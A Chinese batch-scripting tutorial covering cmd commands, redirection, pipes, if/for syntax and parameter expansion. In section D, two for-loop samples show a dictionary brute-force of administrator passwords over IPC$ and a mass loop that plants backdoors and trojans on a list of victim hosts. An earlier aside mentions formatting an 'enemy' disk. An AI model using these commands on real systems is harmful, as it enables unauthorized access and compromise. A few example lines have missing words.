bat腳本語法
A. bat文件命令大全
有關某個命令的詳細信息,請鍵入 HELP 命令名
ASSOC 顯示或修改文件擴展名關聯。
AT 計劃在計算機上運行的命令和程序。
ATTRIB 顯示或更改文件屬性。
BREAK 設置或清除擴展式 CTRL+C 檢查。
CACLS 顯示或修改文件的訪問控制列表(ACLs)。
CALL 從另一個批處理程序調用這一個。
CD 顯示當前目錄的名稱或將其更改。
CHCP 顯示或設置活動代碼頁數。
CHDIR 顯示當前目錄的名稱或將其更改。
CHKDSK 檢查磁碟並顯示狀態報告。
CHKNTFS 顯示或修改啟動時間磁碟檢查。
CLS 清除屏幕。
CMD 打開另一個 Windows 命令解釋程序窗口。
COLOR 設置默認控制台前景和背景顏色。
COMP 比較兩個或兩套文件的內容。
COMPACT 顯示或更改 NTFS 分區上文件的壓縮。
CONVERT 將 FAT 卷轉換成 NTFS。您不能轉換
當前驅動器。
COPY 將至少一個文件復制到另一個位置。
DATE 顯示或設置日期。
DEL 刪除至少一個文件。
DIR 顯示一個目錄中的文件和子目錄。
DISKCOMP 比較兩個軟盤的內容。
DISKCOPY 將一個軟盤的內容復制到另一個軟盤。
DOSKEY 編輯命令行、調用 Windows 命令並創建宏。
ECHO 顯示消息,或將命令回顯打開或關上。
ENDLOCAL 結束批文件中環境更改的本地化。
ERASE 刪除至少一個文件。
EXIT 退出 CMD.EXE 程序(命令解釋程序)。
FC 比較兩個或兩套文件,並顯示
不同處。
FIND 在文件中搜索文字字元串。
FINDSTR 在文件中搜索字元串。
FOR 為一套文件中的每個文件運行一個指定的命令。
FORMAT 格式化磁碟,以便跟 Windows 使用。
FTYPE 顯示或修改用於文件擴展名關聯的文件類型。
GOTO 將 Windows 命令解釋程序指向批處理程序
中某個標明的行。
GRAFTABL 啟用 Windows 來以圖像模式顯示
擴展字元集。
HELP 提供 Windows 命令的幫助信息。
IF 執行批處理程序中的條件性處理。
LABEL 創建、更改或刪除磁碟的卷標。
MD 創建目錄。
MKDIR 創建目錄。
MODE 配置系統設備。
MORE 一次顯示一個結果屏幕。
MOVE 將文件從一個目錄移到另一個目錄。
PATH 顯示或設置可執行文件的搜索路徑。
PAUSE 暫停批文件的處理並顯示消息。
POPD 還原 PUSHD 保存的當前目錄的上一個值。
PRINT 列印文本文件。
PROMPT 更改 Windows 命令提示符。
PUSHD 保存當前目錄,然後對其進行更改。
RD 刪除目錄。
RECOVER 從有問題的磁碟恢復可讀信息。
REM 記錄批文件或 CONFIG.SYS 中的注釋。
REN 重命名文件。
RENAME 重命名文件。
REPLACE 替換文件。
RMDIR 刪除目錄。
SET 顯示、設置或刪除 Windows 環境變數。
SETLOCAL 開始批文件中環境更改的本地化。
SHIFT 更換批文件中可替換參數的位置。
SORT 對輸入進行分類。
START 啟動另一個窗口來運行指定的程序或命令。
SUBST 將路徑跟一個驅動器號關聯。
TIME 顯示或設置系統時間。
TITLE 設置 CMD.EXE 會話的窗口標題。
TREE 以圖形模式顯示驅動器或路徑的目錄結構。
TYPE 顯示文本文件的內容。
VER 顯示 Windows 版本。
VERIFY 告訴 Windows 是否驗證文件是否已正確
寫入磁碟。
VOL 顯示磁碟卷標和序列號。
XCOPY 復制文件和目錄樹。
appwiz.cpl------------添加刪除程序
control userpasswords2--------用戶帳戶設置
cleanmgr-------垃圾整理
CMD--------------命令提示符可以當作是 Windows 的一個附件,Ping,Convert 這些不能在圖形環境下 使用的功能要藉助它來完成。
cmd------jview察看Java虛擬機版本。
command.com------調用的則是系統內置的 NTVDM,一個 DOS虛擬機。它完全是一個類似 Virtual PC 的 虛擬環境,和系統本身聯系不大。當我們在命令提示符下運行 DOS 程序時,實際上也 是自動轉移到 NTVDM虛擬機下,和 CMD 本身沒什麼關系。
calc-----------啟動計算器
chkdsk.exe-----Chkdsk磁碟檢查
compmgmt.msc---計算機管理
conf-----------啟動 netmeeting
control userpasswords2-----User Account 許可權設置
devmgmt.msc--- 設備管理器
diskmgmt.msc---磁碟管理實用程序
dfrg.msc-------磁碟碎片整理程序
drwtsn32------ 系統醫生
dvdplay--------啟動Media Player
dxdiag-----------DirectX Diagnostic Tool
gpedit.msc-------組策略編輯器
gpupdate /target:computer /force 強制刷新組策略
eventvwr.exe-----事件查看器
explorer-------打開資源管理器
logoff---------注銷命令
lusrmgr.msc----本機用戶和組
msinfo32---------系統信息
msconfig---------系統配置實用程序
net start (servicename)----啟動該服務
net stop (servicename)-----停止該服務
notepad--------打開記事本
nusrmgr.cpl-------同control userpasswords,打開用戶帳戶控制面板
Nslookup-------IP地址偵測器
oobe/msoobe /a----檢查XP是否激活
perfmon.msc----計算機性能監測程序
progman--------程序管理器
regedit----------注冊表編輯器
regedt32-------注冊表編輯器
regsvr32 /u *.dll----停止dll文件運行
route print------查看路由表
rononce -p ----15秒關機
rsop.msc-------組策略結果集
rundll32.exe rundll32.exe %Systemroot%System32shimgvw.dll,ImageView_Fullscreen----啟動一個空白的Windows 圖片和傳真查看器
secpol.msc--------本地安全策略
services.msc---本地服務設置
sfc /scannow-----啟動系統文件檢查器
sndrec32-------錄音機
taskmgr-----任務管理器(適用於2000/xp/2003)
tsshutdn-------60秒倒計時關機命令
winchat--------XP自帶區域網聊天
winmsd---------系統信息
winver-----顯示About Windows 窗口
wupdmgr-----------Windows Update
B. 怎麼編寫bat文件,是什麼語法,給幾個範本
【 echo 命令 】
打開回顯或關閉請求回顯功能,或顯示消息。如果沒有任何參數,echo 命令將顯示當前回顯設置。
語法
echo [{on|off}] [message]
Sample:@echo off / echo hello world
在實際應用中我們會把這條命令和重定向符號(也稱為管道符號,一般用> >> ^)結合來實現輸入一
些命令到特定的文件中。
【 rem 命令 】
注釋命令,類似於在C語言中的/*--------*/,它並不會被執行,只是起一個注釋的作用,便於別人閱讀
和你自己日後修改。
:: 也具有rem的功能
但::和rem還是有區別的,當關閉回顯時,rem和::後的內容都不會顯示。但是當打開回顯時,rem和rem
後的內容會顯示出來,然而::後的內容仍然不會顯示。
Rem Message
Sample:@Rem Here is the description.
【 pause 命令 】
暫停命令。運行 Pause 命令時,將顯示下面的消息:
Press any key to continue. . .(或:請按任意鍵繼續. . .)
Sample:
@echo off
:begin
G:*.* d:\back
echo 請插入另一張光碟...
pause
goto begin
在這個例子中,驅動器 G 中磁碟上的所有文件均復制到d:\back中。顯示的注釋提示您將另一張光碟
盤放入驅動器 G 時,pause 命令會使程序掛起,以便您更換光碟,然後按任意鍵繼續處理。
【 call 命令 】
從一個批處理程序調用另一個批處理程序,並且不終止父批處理程序。call 命令接受用作調用目標的
標簽。如果在腳本或批處理文件外使用 Call,它將不會在命令行起作用。
語法
call [[Drive:][Path] FileName ] [:label [arguments]]
參數
[Drive:}[Path] FileName
指定要調用的批處理程序的位置和名稱。
【 start 命令 】
調用外部程序,所有的DOS命令和命令行程序都可以由start命令來調用。
如:start calc.exe 即可打開Windows的計算器。
常用參數:
MIN 開始時窗口最小化
SEPARATE 在分開的空間內開始 16 位 Windows 程序
HIGH 在 HIGH 優先順序類別開始應用程序
REALTIME 在 REALTIME 優先順序類別開始應用程序
WAIT 啟動應用程序並等候它結束
parameters 這些為傳送到命令/程序的參數
執行的應用程序是 32-位 GUI 應用程序時,CMD.EXE 不等應用程序終止就返回命令提示。如果在命令
腳本內執行,該新行為則不會發生。
【 goto 命令 】
跳轉命令。程序指針跳轉到指定的標簽,從標簽後的第一條命令開始繼續執行批處理程序。
語法:goto label (label是參數,指定所要轉向的批處理程序中的行。)
Sample:
if {%1}=={} goto noparms
if {%2}=={} goto noparms(如果這里的if、%1、%2你不明白的話,先跳過去,後面會有詳細的解釋
。)
@Rem check parameters if null show usage
:noparms
echo Usage: monitor.bat ServerIP PortNumber
goto end
標簽的名字可以隨便起,但是最好是有意義的字母啦,字母前加個:用來表示這個字母是標簽,goto
命令就是根據這個:來尋找下一步跳到到那裡。最好有一些說明這樣你別人看起來才會理解你的意圖啊。
【 set 命令 】
顯示、設置或刪除變數。
顯示變數:set 或 set s 前者顯示批處理當前已定義的所有變數及其值,後者顯示所有以s開頭的變數及值。
設置變數:set aa=abcd 此句命令便可向變數aa賦值abcd。如果變數aa已被定義,則aa的值被修改為abcd;若aa尚未定義,則此句命令即可定義新的變數aa,同時為變數aa賦予初始值abcd。
刪除變數:set aa= 此句命令即可刪除變數aa。若變數aa已被定義,則刪除變數aa;若aa尚未定義,則此句命令為實質意義。
需要說明的是,批處理中的變數是不區分類型的,不需要像C語言中的變數那樣還要區分int、float、char等。比如執行set aa=345後,變數aa的值既可以被視為數字345,也可以被視為字元串345。
set命令具有擴展功能,如用作交互輸入、字元串處理、數值計算等,屬於高級命令范疇。
[編輯本段]批處理符號簡介
【 回顯屏蔽 @ 】
表示不顯示@後面的命令,在入侵過程中(例如使用批處理來格式化敵人的硬碟)自然不能讓對方看到你使用的命令啦。
@用法舉例:通過運行批處理文件對比pause和@pause命令即可明了@的效果。
【 重定向1 >與>> 】
將輸出信息重定向到指定的設備或文件。系統默認輸出到顯示器。
如:echo aaaaa>a.txt 即可將本在顯示器上顯示的信息aaaaa輸出到文件a.txt中,屏幕上沒有任何顯示。如果文件a.txt本來已經存在,該命令將首先擦除a.txt中的所有信息,然後寫入信息aaaaa;若a.txt本來就不存在,該命令即可新建一個a.txt文件,並寫入信息aaaaa。
echo aaaaa>>a.txt 類似於echo aaaaa>a.txt。區別在於:如果a.txt本已存在,>a.txt會擦除a.txt中的原有內容,而>>a.txt並不擦除原有內容,僅在a.txt文件的末尾添加信息aaaaa。a.txt不存在時,二者沒有差別。
【 重定向2 < 】
將輸入信息來源重定向為指定的設備或文件。系統默認從顯示器讀取輸入信息。
重定向使用舉例:
=========================================
@echo off
echo abcdefg——這是文件a.txt中的信息>a.txt
echo 請任意輸入字元,以回車結束:
set /p ifo=
cls
echo 【 從屏幕獲得的輸入信息 】
echo %ifo%
set /p ifo=<a.txt
echo 【 從文件a.txt獲得的輸入信息 】
echo %ifo%
pause>nul
=========================================
讀者觀察命令與輸出即可體會到重定向的功能和效果。
【 管道符號 | 】
將管道符號前面命令的輸出結果重定向輸出到管道符號後面的命令中去,作為後面命令的輸入。使用格式為:command_1|command_2
管道符號使用舉例:
=========================================
@echo off
echo aaaa>a.txt
del /p a.txt
pause
=========================================
@echo off
echo aaaa>a.txt
echo y|del /p a.txt
pause
=========================================
對比以上兩個批處理執行結果,讀者即可明白管道符的用法和效果。
需要說明的是,上面del命令添加開關/p只是為了讓讀者明白管道符號的使用方法,實際刪除文件時不加/p開關即可實現無提示直接刪除。
【 轉義符 ^ 】
將特殊符號轉化為一般符號,即剝離特殊符號的特殊地位。特殊符號指:| & > <
比如,如果我們想輸出符號「>」,直接用命令 echo > 是不行的,必須修改為 echo ^> 。其餘幾個特殊符號類似需要有同樣的處理。
轉義字元使用舉例:
=========================================
@echo off
echo aaaa>a.txt
echo 第一句echo執行完畢
echo aaaa^>a.txt
echo 第二句echo執行完畢
pause
=========================================
比較上面的兩句echo,第一句echo將信息aaaa輸出到了文件a.txt,而第二句echo則在直接屏幕上顯示出aaaa>a.txt
【 邏輯命令符 】
邏輯命令符包括:&、&&、||
&-它的作用是用來連接n個DOS命令,並把這些命令按順序執行,而不管是否有命令執行失敗;
&&-當&&前面的命令成功執行時,執行&&後面的命令,否則不執行;
||-當||前面的命令失敗時,執行||後面的命令,否則不執行。
=========================================
@echo off
echo ^|^|
reg add HKCU /v try /f||echo **成功**
reg add HKCU1 /v try /f||echo **失敗**
echo ^&^&
reg delete HKCU /v try /f&&echo **成功**
reg delete HKCU /v try /f&&echo **失敗**
echo ^&
reg delete HKCU /v try /f&echo **成功**
reg delete HKCU /v try /f&echo **失敗**
pause
=========================================
執行reg add或reg delete後,系統會給出執行結果;我們通過echo命令也給出了「執行結果」。對比系統和我們自己給出的結果,既可以驗證邏輯命令的判斷機理。
[編輯本段]常用DOS命令釋義
【 文件夾管理 】
cd 顯示當前目錄名或改變當前目錄。
md 創建目錄。
rd 刪除一個目錄。
dir 顯示目錄中的文件和子目錄列表。
tree 以圖形顯示驅動器或路徑的文件夾結構。
path 為可執行文件顯示或設置一個搜索路徑。
x 復制文件和目錄樹。
【 文件管理 】
type 顯示文本文件的內容。
將一份或多份文件復制到另一個位置。
del 刪除一個或數個文件。
move 移動文件並重命名文件和目錄。(Windows XP Home Edition中沒有)
ren 重命名文件。
replace 替換文件。
attrib 顯示或更改文件屬性。
find 搜索字元串。
fc 比較兩個文件或兩個文件集並顯示它們之間的不同
【 網路命令 】
ping 進行網路連接測試、名稱解析
ftp 文件傳輸
net 網路命令集及用戶管理
telnet 遠程登陸
ipconfig顯示、修改TCP/IP設置
msg 給用戶發送消息
arp 顯示、修改區域網的IP地址-物理地址映射列表
【 系統管理 】
at 安排在特定日期和時間運行命令和程序
shutdown立即或定時關機或重啟
tskill 結束進程
taskkill結束進程(比tskill高級,但WinXPHome版中無該命令)
tasklist顯示進程列表(Windows XP Home Edition中沒有)
sc 系統服務設置與控制
reg 注冊表控制台工具
powercfg控制系統上的電源設置
對於以上列出的所有命令,在cmd中輸入命令+/?即可查看該命令的幫助信息。如find /?
[編輯本段]語句結構釋義
類似於C語言,批處理也有它的語句結構。批處理的語句結構主要有選擇結構(if語句)、循環結構(for語句)等。
【 if語句(選擇結構) 】
if語句實現條件判斷,包括字元串比較、存在判斷、定義判斷等。通過條件判斷,if語句即可以實現選擇功能。
1、字元串比較
if語句僅能夠對兩個字元(串)是否相同、先後順序進行判斷等。其命令格式為:
IF [not] string1 compare-op string2 command1 [else command2]
其中,比較操作符compare-op有以下幾類:
== - 等於
EQU - 等於
NEQ - 不等於
LSS - 小於
LEQ - 小於或等於
GTR - 大於
GEQ - 大於或等於
選擇開關/i則不區分字元串大小寫;選擇not項,則對判斷結果進行邏輯非。
字元串比較示例:
===============================================
@echo off
set str1=abcd1233
set str2=ABCD1234
if %str1%==%str2% (echo 字元串相同!) else (echo 字元串不相同!)
if /i %str1% LSS %str2% (echo str1^<str2) else (echo str1^>=str2)
echo.
set /p choice=是否顯示當前時間?(y/n)
if /i not %choice% EQU n echo 當前時間是:%date% %time%
pause>nul
===============================================
對於最後一個if判斷,當我們輸入n或N時的效果是一樣的,都不會顯示時間。如果我們取消開關/i,則輸入N時,依舊會顯示時間。
另外請注意一下幾個細節:1-echo str1^<str2和echo str1^>=str2;2-echo.。
2、存在判斷
存在判斷的功能是判斷文件或文件夾是否存在。其命令格式為:
IF [NOT] EXIST filename command1 [else command2]
===============================================
@echo off
if exist %0 echo 文件%0是存在的!
if not exist %~df0 (
echo 文件夾%~df0不存在!
) else echo 文件夾%~df0存在!
pause>nul
===============================================
這里注意幾個地方:
1-存在判斷既可以判斷文件也可以判斷文件夾;
2-%0即代表該批處理的全稱(包括驅動器盤符、路徑、文件名和擴展類型);
3-%~df0是對%0的修正,只保留了其驅動器盤符和路徑,詳情請參考for /?,屬高級批處理范疇;
4-注意if語句的多行書寫,多行書寫要求command1的左括弧必須和if在同一行、else必須和command1的右括弧同行、command2的左括弧必須與else同行、command1和command2都可以有任意多行,即command可以是命令集。
3、定義判斷
定義判斷的功能是判斷變數是否存在,即是否已被定義。其命令格式為:
IF [not] DEFINED variable command1 [else command2]
存在判斷舉例:
===============================================
@echo off
set var=111
if defined var (echo var=%var%) else echo var尚未定義!
set var=
if defined var (echo var=%var%) else echo var尚未定義!
pause>nul
===============================================
對比可知,"set var="可以取消變數,收回變數所佔據的內存空間。
4、結果判斷
masm %1.asm
if errorlevel 1 pause & edit %1.asm
link %1.obj
先對源代碼進行匯編,如果失敗則暫停顯示錯誤信息,並在按任意鍵後自動進入編輯界面;否則用link程序連接生成的obj文件,這種用法是先判斷前一個命令執行後的返回碼(也叫錯誤碼,DOS程序在運行完後都有返回碼),如果和定義的錯誤碼符合(這里定義的錯誤碼為1),則執行相應的操作(這里相應的操作為pause & edit %1.asm部分)。
另外,和其他兩種用法一樣,這種用法也可以表示否定。用否定的形式仍表達上面三句的意思,代碼變為:
masm %1.asm
if not errorlevel 1 link %1.obj
pause & edit %1.asm
【 for語句(循環結構) 】
for語句可以實現類似於C語言裡面的循環結構,當然for語句的功能要更強大一點,通過不同的開關可以實現更多的功能。for語句有多個開關,不同開關將會實現不同的功能。
1、無開關
無開關的for語句能夠對設定的范圍內進行循環,是最基本的for循環語句。其命令格式為:
FOR %%variable IN (set) DO command
其中,%%variable是批處理程序裡面的書寫格式,在DOS中書寫為%variable,即只有一個百分號(%);set就是需要我們設定的循環范圍,類似於C語言裡面的循環變數;do後面的command就是循環所執行的命令,即循環體。
無開關for語句舉例:
===============================================
@echo off
for %%i in (a,"b c",d) do echo %%i
pause>nul
===============================================
2、開關/L
含開關/L的for語句,可以根據set裡面的設置進行循環,從而實現對循環次數的直接控制。其命令格式為:
FOR /L %%variable IN (start,step,end) DO command
其中,start為開始計數的初始值,step為每次遞增的值,end為結束值。當end小於start時,step需要設置為負數。
含開關/L的for語句舉例(創建5個文件夾):
===============================================
@echo off
for /l %%i in (1,2,10) do md %%i
pause
===============================================
上例將新建5個文件夾,文件夾名稱依次為1、3、5、7、9。可以發現,%%i的結束值並非end的值10,而是不大於end的一個數。
3、開關/F
含開關/F的for語句具有最強大的功能,它能夠對字元串進行操作,也能夠對命令的返回值進行操作,還可以訪問硬碟上的ASCII碼文件,比如txt文檔等。其命令格式為:
FOR /F ["options"] %%variable IN (set) DO command
其中,set為("string"、'command'、file-set)中的一個;options是(eol=c、skip=n、delims=xxx、tokens=x,y,m-n、usebackq)中的一個或多個的組合。各選項的意義參見for /f。一般情況下,使用較多的是skip、tokens、delims三個選項。
含開關/F的for語句舉例:
===============================================
@echo off
echo **No Options:
for /f %%a in ("1,2,10") do echo a=%%a
echo **Options tokens ^& delims:
for /f "tokens=1-3 delims=," %%a in ("1,2,10") do echo a=%%a b=%%b c=%%c
pause
===============================================
@echo off
echo 本文件夾裡面的文件有:
for /f "skip=5 tokens=3* delims= " %%a in ('dir') do (
if not "%%a"=="<DIR>" if not "%%b"=="位元組" if not "%%b"=="可用位元組" echo %%b
)
pause
===============================================
@echo off
echo 本文件夾裡面的文件有:
dir>c:\file.txt
for /f "skip=5 tokens=3* delims= " %%a in (c:\file.txt) do (
if not "%%a"=="<DIR>" if not "%%b"=="位元組" if not "%%b"=="可用位元組" echo %%b
)
del c:\file.txt
pause
===============================================
對於後面的兩個例子,其中options裡面的delims= 是可以刪除的,因為只要添加了/F開關系統就將delims的值默認為空格。
符號字元串中的最後一個字元星號,
那麼額外的變數將在最後一個符號解析之後
分配並接受行的保留文本。本例中也可以改為4,不過文件名中有空格的文件,只能顯示空格以前部分
同時我們也看到了,for語句的do後面的command也是可以分行的,只需要保證command的左括弧和do在同一行就可以了。
4、開關/D或/R
含開關/D或/R的for語句是與目錄或文件有關的命令,一般情況下很少使用。含開關/R的命令有時候被用於通過遍歷文件夾來查找某一個文件或文件夾,故而列舉此例。
含開關/R的for語句舉例(文件夾遍歷):
===============================================
@echo off
setlocal enabledelayedexpansion
FOR /R d: %%i IN (.) DO (
set dd=%%i
set "dd=!dd:~0,-1!"
echo !dd!
)
pause
exit
===============================================
上例即可以羅列出D盤下的所有文件夾,其速度要比命令"tree d:"慢多了,不過其返回結果的實用性則遠遠超過了tree命令。
一般情況下我們不推薦通過遍歷文件夾來查找文件,特別是在查找某些程序(比如QQ.exe)的位置時。推薦通過reg命令查找注冊表來查找QQ的路徑,以保證查找效率。
上例中也出現了幾個新面孔,如setlocal、感嘆號等。其中,感嘆號其實就是變數百分號(%)的強化版。之所以要用!而不用%,是因為在for循環中,當一個變數被多次賦值時,%dd%所獲取的僅僅是dd第一次被賦予的值;要想刷新dd的值,就必須首先通過命令"setlocal enabledelayedexpansion"來開啟延遲變數開關,然後用!dd!來獲取dd的值。
for語句是批處理裡面功能最強大、使用最普遍卻又最難掌握的一套命令,這也是批處理菜鳥和批處理高手最明顯的一個分水嶺,一旦掌握了這套命令,那麼你就離批處理達人不遠了!
參考http://ke..com/view/80110.htm?fr=ala0_1_1#3_2
C. bat腳本解釋
cmd窗口中使用 for /? 查看幫忙,裡面有這句:
%~nxI - expands %I to a file name and extension only
即,僅將 %I 擴充到一個文件名和擴展名
D. bat文件的選項語法
%~I - 刪除任何引號(),擴充 %I
%~fI - 將 %I 擴充到一個完全合格的路徑名
%~dI - 僅將 %I 擴充到一個驅動器號
%~pI - 僅將 %I 擴充到一個路徑
%~nI - 僅將 %I 擴充到一個文件名
%~xI - 僅將 %I 擴充到一個文件擴展名
%~sI - 擴充的路徑只含有短名
%~aI - 將 %I 擴充到文件的文件屬性
%~tI - 將 %I 擴充到文件的日期/時間
%~zI - 將 %I 擴充到文件的大小
%~$PATH:I - 查找列在路徑環境變數的目錄,並將 %I 擴充
到找到的第一個完全合格的名稱。如果環境變數
未被定義,或者沒有找到文件,此組合鍵會擴充
空字元串
可以組合修飾符來得到多重結果:
%~dpI - 僅將 %I 擴充到一個驅動器號和路徑
%~nxI - 僅將 %I 擴充到一個文件名和擴展名
%~fsI - 僅將 %I 擴充到一個帶有短名的完整路徑名
%~dp$PATH:i - 查找列在路徑環境變數的目錄,並將 %I 擴充
到找到的第一個驅動器號和路徑。
%~ftzaI - 將 %I 擴充到類似輸出線路的 DIR
在以上例子中,%I 和 PATH 可用其他有效數值代替。%~ 語法
用一個有效的 FOR變數名終止。選取類似 %I 的大寫變數名
比較易讀,而且避免與不分大小寫的組合鍵混淆。
以上是MS的官方幫助,下面我們舉幾個例子來具體說明一下For命令在入侵中的用途。
sample2:
利用For命令來實現對一台目標Win2k主機的暴力密碼破解。
我們用net use \ipipc$ password /u:administrator來嘗試這和目標主機進行連接,當成功時記下密碼。
最主要的命令是一條:for /f %i in (dict.txt) do net use \ipipc$ %i /u:administrator
用i%來表示admin的密碼,在dict.txt中這個取i%的值用net use 命令來連接。然後將程序運行結果傳遞給find命令--
for /f i%% in (dict.txt) do net use \ipipc$ %%i /u:administrator|find :命令成功完成>>D:ok.txt ,這樣就ko了。
sample3:
你有沒有過手裡有大量肉雞等著你去種後門+木馬呢?,當數量特別多的時候,原本很開心的一件事都會變得很郁悶:)。文章開頭就談到使用批處理文件,可以簡化日常或重復性任務。那麼如何實現呢?呵呵,看下去你就會明白了。
主要命令也只有一條:(在批處理文件中使用 FOR 命令時,指定變數使用 %%variable)
@for /f tokens=1,2,3 delims= %%i in (victim.txt) do start call door.bat %%i %%j %%k
tokens的用法請參見上面的sample1,在這里它表示按順序將victim.txt中的內容傳遞給door.bat中的參數%i %j %k。
而cultivate.bat無非就是用net use命令來建立IPC$連接,並木馬+後門到victim,然後用返回碼(If errorlever =)來篩選成功種植後門的主機,並echo出來,或者echo到指定的文件。
delims= 表示vivtim.txt中的內容是一空格來分隔的。我想看到這里你也一定明白這victim.txt里的內容是什麼樣的了。應該根據%%i %%j %%k表示的對象來排列,一般就是 ip password username。
E. bat.文件的命令語法, 句式或bat文件教程
常用命令
echo、@、call、pause、rem(小技巧:用::代替rem)是批處理文件最常用的幾個命令,我們就從他們開始學起。
==== 注 ===========
首先, @ 不是一個命令, 而是DOS 批處理的一個特殊標記符, 僅用於屏蔽命令行回顯. 下面是DOS命令行或批處理中可能會見到的一些特殊標記符:
CR(0D) 命令行結束符
Escape(1B) ANSI轉義字元引導符
Space(20) 常用的參數界定符
Tab(09) ; = 不常用的參數界定符
+ COPY命令文件連接符
* ? 文件通配符
"" 字元串界定符
| 命令管道符
< > >> 文件重定向符
@ 命令行回顯屏蔽符
/ 參數開關引導符
: 批處理標簽引導符
% 批處理變數引導符
其次, :: 確實可以起到rem 的注釋作用, 而且更簡潔有效; 但有兩點需要注意:
第一, 除了 :: 之外, 任何以 :開頭的字元行, 在批處理中都被視作標號, 而直接忽略其後的所有內容, 只是為了與正常的標號相區別, 建議使用 goto 所無法識別的標號, 即在 :後緊跟一個非字母數字的一個特殊符號.
第二, 與rem 不同的是, ::後的字元行在執行時不會回顯, 無論是否用echo on打開命令行回顯狀態, 因為命令解釋器不認為他是一個有效的命令行, 就此點來看, rem 在某些場合下將比 :: 更為適用; 另外, rem 可以用於 config.sys 文件中.
=====================
echo 表示顯示此命令後的字元
echo off 表示在此語句後所有運行的命令都不顯示命令行本身
@與echo off相象,但它是加在每個命令行的最前面,表示運行時不顯示這一行的命令行(只能影響當前行)。
call 調用另一個批處理文件(如果不用call而直接調用別的批處理文件,那麼執行完那個批處理文件後將無法返回當前文件並執行當前文件的後續命令)。
pause 運行此句會暫停批處理的執行並在屏幕上顯示Press any key to continue...的提示,等待用戶按任意鍵後繼續
rem 表示此命令後的字元為解釋行(注釋),不執行,只是給自己今後參考用的(相當於程序中的注釋)。
==== 注 =====
此處的描述較為混亂, 不如直接引用個命令的命令行幫助更為條理
-------------------------
ECHO
當程序運行時,顯示或隱藏批處理程序中的正文。也可用於允許或禁止命令的回顯。
在運行批處理程序時,MS-DOS一般在屏幕上顯示(回顯)批處理程序中的命令。
使用ECHO命令可關閉此功能。
語法
ECHO [ON|OFF]
若要用echo命令顯示一條命令,可用下述語法:
echo [message]
參數
ON|OFF
指定是否允許命令的回顯。若要顯示當前的ECHO的設置,可使用不帶參數的ECHO
命令。
message
指定讓MS-DOS在屏幕上顯示的正文。
-------------------
CALL
從一個批處理程序中調用另一個批處理程序,而不會引起第一個批處理的中止。
語法
CALL [drive:][path]filename [batch-parameters]
參數
[drive:][path]filename
指定要調用的批處理程序的名字及其存放處。文件名必須用.BAT作擴展名。
batch-parameters
指定批處理程序所需的命令行信息。
-------------------------------
PAUSE
暫停批處理程序的執行並顯示一條消息,提示用戶按任意鍵繼續執行。只能在批處
理程序中使用該命令。
語法
PAUSE
REM
在批處理文件或CONFIG.SYS中加入註解。也可用REM命令來屏蔽命令(在CONFIG.SYS
中也可以用分號 ; 代替REM命令,但在批處理文件中則不能替代)。
語法
REM [string]
參數
string
指定要屏蔽的命令或要包含的註解。
=======================
例1:用edit編輯a.bat文件,輸入下列內容後存檔為c:\a.bat,執行該批處理文件後可實現:將根目錄中所有文件寫入 a.txt中,啟動UCDOS,進入WPS等功能。
批處理文件的內容為: 命令注釋:
@echo off 不顯示後續命令行及當前命令行
dir c:\*.* >a.txt 將c盤文件列表寫入a.txt
call c:\ucdos\ucdos.bat 調用ucdos
echo 你好 顯示"你好"
pause 暫停,等待按鍵繼續
rem 准備運行wps 注釋:准備運行wps
cd ucdos 進入ucdos目錄
wps 運行wps
批處理文件的參數
批處理文件還可以像C語言的函數一樣使用參數(相當於DOS命令的命令行參數),這需要用到一個參數表示符"%"。
%[1-9]表示參數,參數是指在運行批處理文件時在文件名後加的以空格(或者Tab)分隔的字元串。變數可以從%0到%9,%0表示批處理命令本身,其它參數字元串用%1到%9順序表示。
例2:C:根目錄下有一批處理文件名為f.bat,內容為:
@echo off
format %1
如果執行C:\>f a:
那麼在執行f.bat時,%1就表示a:,這樣format %1就相當於format a:,於是上面的命令運行時實際執行的是format a:
例3:C:根目錄下一批處理文件名為t.bat,內容為:
@echo off
type %1
type %2
那麼運行C:\>t a.txt b.txt
%1 : 表示a.txt
%2 : 表示b.txt
於是上面的命令將順序地顯示a.txt和b.txt文件的內容。
==== 注 ===============
參數在批處理中也作為變數處理, 所以同樣使用百分號作為引導符, 其後跟0-9中的一個數字構成參數引用符. 引用符和參數之間 (例如上文中的 %1 與 a: ) 的關系類似於變數指針與變數值的關系. 當我們要引用第十一個或更多個參數時, 就必須移動DOS 的參數起始指針. shift 命令正充當了這個移動指針的角色, 它將參數的起始指針移動到下一個參數, 類似C 語言中的指針操作. 圖示如下:
初始狀態, cmd 為命令名, 可以用 %0 引用
cmd arg1 arg2 arg3 arg4 arg5 arg6 arg7 arg8 arg9 arg10
^ ^ ^ ^ ^ ^ ^ ^ ^ ^
| | | | | | | | | |
%0 %1 %2 %3 %4 %5 %6 %7 %8 %9
經過1次shift後, cmd 將無法被引用
cmd arg1 arg2 arg3 arg4 arg5 arg6 arg7 arg8 arg9 arg10
^ ^ ^ ^ ^ ^ ^ ^ ^ ^
| | | | | | | | | |
%0 %1 %2 %3 %4 %5 %6 %7 %8 %9
經過2次shift後, arg1也被廢棄, %9指向為空, 沒有引用意義
cmd arg1 arg2 arg3 arg4 arg5 arg6 arg7 arg8 arg9 arg10
^ ^ ^ ^ ^ ^ ^ ^ ^
| | | | | | | | |
%0 %1 %2 %3 %4 %5 %6 %7 %8
遺憾的是, win9x 和DOS下均不支持 shift 的逆操作. 只有在 nt 內核命令行環境下, shift 才支持 /n 參數, 可以以第一參數為基準返復移動起始指針.
=================
特殊命令
if goto choice for是批處理文件中比較高級的命令,如果這幾個你用得很熟練,你就是批處理文件的專家啦。
一、if 是條件語句,用來判斷是否符合規定的條件,從而決定執行不同的命令。 有三種格式:
1、if [not] "參數" == "字元串" 待執行的命令
參數如果等於(not表示不等,下同)指定的字元串,則條件成立,運行命令,否則運行下一句。
例:if "%1"=="a" format a:
====
if 的命令行幫助中關於此點的描述為:
IF [NOT] string1==string2 command
在此有以下幾點需要注意:
1. 包含字元串的雙引號不是語法所必須的, 而只是習慣上使用的一種"防空"字元
2. string1 未必是參數, 它也可以是環境變數, 循環變數以及其他字元串常量或變數
3. command 不是語法所必須的, string2 後跟一個空格就可以構成一個有效的命令行
=============================
2、if [not] exist [路徑\]文件名 待執行的命令
如果有指定的文件,則條件成立,運行命令,否則運行下一句。
如: if exist c:\config.sys type c:\config.sys
表示如果存在c:\config.sys文件,則顯示它的內容。
****** 注 ********
也可以使用以下的用法:
if exist command
device 是指DOS系統中已載入的設備, 在win98下通常有:
AUX, PRN, CON, NUL
COM1, COM2, COM3, COM4
LPT1, LPT2, LPT3, LPT4
XMSXXXX0, EMMXXXX0
A: B: C: ...,
CLOCK$, CONFIG$, DblBuff$, IFS$HLP$
